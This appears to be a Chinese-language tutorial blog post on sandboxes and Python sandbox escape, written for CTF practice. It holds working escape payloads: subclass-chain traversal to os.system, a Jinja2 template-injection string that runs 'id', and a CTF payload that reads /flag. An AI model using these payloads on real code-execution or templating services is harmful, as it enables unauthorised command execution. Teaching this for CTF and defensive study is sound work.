沙盒逃逸基础

沙盒

沙盒的基本概念

核心思想

“在隔离的容器中运行不可信代码，防止对主系统造成损害”

就像小孩子在沙盒里玩沙子一样 - 可以随意玩耍，但不会弄脏整个房间。

沙盒的主要特征

特征 说明
隔离性 与主机系统隔离，无法直接访问系统资源
受限访问 对文件系统、网络、硬件等访问受到限制
资源控制 CPU、内存、磁盘使用量受到监控和限制
安全边界 明确的权限边界，防止越权操作

沙盒的常见类型

1. 编程语言沙盒
1
2
3
4
5
6
7
# Python 沙盒示例 - 限制代码执行
allowed_builtins = ['print', 'len', 'str', 'int']
restricted_globals = {"__builtins__": {name: __builtins__[name] for name in allowed_builtins}}

# 在受限环境中执行代码
exec("print('Hello')", restricted_globals)  # 允许
exec("open('/etc/passwd')", restricted_globals)  # 被阻止
2. 浏览器沙盒
  • Web Workers: 在后台线程中运行 JavaScript
  • iframe 沙盒: 限制嵌入式内容的权限
1
<iframe sandbox="allow-scripts" src="untrusted.html"></iframe>
3. 系统级沙盒
  • Docker 容器: 应用级别的虚拟化
  • 虚拟机: 完整的系统级隔离
  • AppArmor/SELinux: 强制访问控制

沙盒的实际应用场景

1. 在线代码执行平台
1
2
3
4
5
# LeetCode、HackerRank 等在线判题系统
def run_user_code(code, test_cases):
    # 在沙盒中运行用户提交的代码
    sandbox = create_sandbox()
    return sandbox.execute(code, test_cases)
2. 插件系统
1
2
3
4
5
6
7
8
# 浏览器插件、IDE 插件等
class SafePlugin:
    def __init__(self):
        self.permissions = ['read_files', 'network_access']
    
    def run(self):
        if 'delete_files' in self.requested_ops:
            raise SecurityError("Operation not permitted")
3. 恶意代码分析
1
2
3
4
5
# 安全实验室分析恶意软件
def analyze_malware(sample):
    sandbox_env = VirtualBoxSandbox()
    result = sandbox_env.run(sample)
    return result.get_behavior_analysis()
4. 区块链智能合约
1
2
3
4
5
6
7
8
9
// Ethereum 智能合约在 EVM 沙盒中运行
contract SafeContract {
    function transfer(address to, uint amount) public {
        // 在沙盒化的以太坊虚拟机中执行
        require(balance[msg.sender] >= amount);
        balance[msg.sender] -= amount;
        balance[to] += amount;
    }
}

沙盒逃逸

不同级别沙盒的逃逸难度

级别1：语言级别沙盒（最容易逃逸）

1
2
3
4
# 攻击方法：利用Python反射机制
"逃逸技术"：__class__, __globals__, __subclasses__()
"就像"：孩子通过家里的其他通道进入零食间
"例子"：在线编程平台、代码评测系统

级别2：解释器级别沙盒（较难逃逸）

1
2
3
4
# 攻击方法：寻找解释器漏洞
"逃逸技术"：内存破坏、解释器bug利用
"就像"：找到围栏的破洞钻出去
"例子"：PyPy沙盒、修改版CPython

级别3：操作系统级别沙盒（很难逃逸）

1
2
3
4
# 攻击方法：系统漏洞利用
"逃逸技术"：内核漏洞、容器逃逸漏洞
"就像"：破坏围栏的结构
"例子"：Docker容器逃逸

级别4：硬件级别沙盒（极难逃逸）

1
2
3
4
# 攻击方法：虚拟化漏洞
"逃逸技术"：VM逃逸、侧信道攻击
"就像"：从完全独立的房子挖地道过来
"例子"：VMware逃逸

实际攻击场景分析

场景1：在线代码评测系统（LeetCode等）

1
2
3
4
5
6
7
8
9
# 沙盒实现：删除危险内置函数
del __builtins__.__dict__['eval']
del __builtins__.__dict__['open']

# 逃逸方法：
# 通过对象链找到os模块
for cls in [].__class__.__base__.__subclasses__():
    if 'os' in str(cls):
        cls.__init__.__globals__['system']('whoami')

场景2：Python模板引擎（Jinja2等）

1
2
3
4
5
6
# 沙盒实现：限制模板可访问的函数
template_env = Environment(autoescape=True)

# 逃逸方法：
# 利用模板的全局变量或过滤器
{{ config.__class__.__init__.__globals__['os'].system('id') }}

场景3：配置化的沙盒

1
2
3
4
5
6
# 沙盒实现：白名单机制
allowed_functions = ['print', 'len', 'range']

# 逃逸方法：
# 通过Python内部机制重建完整功能
__builtins__ = [].__class__.__mro__[1].__subclasses__()[0].__init__.__globals__['__builtins__']

Python沙盒逃逸

Python沙盒逃逸主要针对的是第一种：语言级别沙盒，也就是最弱的那种。

对应的技术现实

1
2
3
4
5
# 这种沙盒只是在Python层面做限制
safe_globals = {'print': print, 'len': len}  # 只给安全函数
exec(user_code, safe_globals)  # 在受限环境中执行

# 但逃逸者可以通过Python内部机制绕过限制

CTF中的沙盒逃逸

1
2
3
4
5
6
# 题目：计算用户输入的数学表达式，但禁用了eval
# 输入：__import__('os').system('cat /flag')
# 逃逸：通过其他方式执行系统命令

# 实际payload：
[cls for cls in ''.__class__.__mro__[1].__subclasses__() if 'wrap' in cls.__name__][0].__init__.__globals__['system']('cat /flag')

逃逸的根本途径

1
2
3
4
5
6
7
8
9
10
# 三条主要逃逸路径：

# 1. 类继承链
object -> 所有类 -> 危险模块

# 2. 函数全局变量  
function.__globals__ -> 模块 -> 系统函数

# 3. 模块缓存
sys.modules -> 已加载的危险模块